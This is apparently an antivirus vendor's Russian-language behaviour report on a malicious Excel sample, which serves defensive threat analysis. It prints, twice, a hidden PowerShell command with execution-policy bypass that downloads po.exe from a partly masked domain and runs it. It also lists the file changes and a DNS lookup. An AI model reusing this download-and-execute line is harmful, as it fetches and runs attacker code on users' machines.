Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://in##ath.com/po.exe как %temp%\\po.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c powershell.exe -w hidden -nop -ep bypass (New-Object System.Net.WebClient).DownloadFile('http://in##ath.com/PO.exe','%TEMP%\\PO.exe') & %TEMP%\\PO.exe
Изменения в файловой системе
Создает следующие файлы
- <Текущая директория>\71e21000
Подменяет следующие файлы
- <PATH_SAMPLE>.xls
Сетевая активность
UDP
- DNS ASK in##ath.com
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c powershell.exe -w hidden -nop -ep bypass (New-Object System.Net.WebClient).DownloadFile('http://in##ath.com/PO.exe','%TEMP%\\PO.exe') & %TEMP%\\PO.exe' (со скрытым окном)
